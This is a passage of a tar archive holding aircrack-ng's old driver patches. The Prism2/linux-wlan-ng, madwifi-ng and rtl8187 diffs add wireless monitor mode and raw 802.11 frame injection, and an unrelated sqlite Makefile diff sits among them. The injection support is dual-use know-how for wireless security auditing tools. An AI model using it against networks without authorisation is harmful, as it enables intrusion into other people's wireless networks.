0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3586,6 +3618,17 @@ { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(rxdesc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c 2005-10-31 14:52:36.000000000 -0500 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c 2006-03-18 15:38:19.000000000 -0500 @@ -1398,8 +1398,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3412,37 +3420,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); +// hw->txbuff.txfrm.desc.tx_control = +// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); +// /* copy the header over to the txdesc */ +// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } +// /* if we're using host WEP, increase size by IV+ICV */ +// if (p80211_wep->data) { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// usbpktlen+=8; +// } else { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4203,6 +4245,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c 2005-06-22 10:16:55.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c 2006-03-18 15:21:03.000000000 -0500 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { +// if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; +// word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { +// if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c 2005-10-07 17:32:44.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c 2006-03-18 15:15:00.000000000 -0500 @@ -410,7 +410,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { +// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1886.patch0000644000000000000000000000174310761053203020761 0ustar rootrootdiff -ur madwifi-r1886/ath/if_ath.c madwifi-r1886-patched/ath/if_ath.c --- madwifi-r1886/ath/if_ath.c 2007-01-07 21:22:55.312500000 +0100 +++ madwifi-r1886-patched/ath/if_ath.c 2007-01-07 21:17:09.875000000 +0100 @@ -2289,6 +2289,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2305,7 +2306,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/sqlite-3.6.11-lib_cygwin.diff0000644000000000000000000000152411171142361022130 0ustar rootroot--- Makefile.ori 2009-02-19 22:17:24.015625000 +0100 +++ Makefile 2009-02-19 22:17:55.484375000 +0100 @@ -765,16 +765,12 @@ $(TEMP_STORE) -o $@ $(TESTFIXTURE_SRC) $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h sqlite3.pc ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) - $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) - $(INSTALL) -d $(DESTDIR)$(pkgconfigdir) - $(INSTALL) -m 0644 sqlite3.pc $(DESTDIR)$(pkgconfigdir) pkgIndex.tcl: echo 'package ifneeded sqlite3 $(RELEASE) [list load $(TCLLIBDIR)/libtclsqlite3.so sqlite3]' > $@ aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.22.patch0000644000000000000000000126774210761053203020127 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-07-13 01:46:27.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-07-13 01:46:27.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info 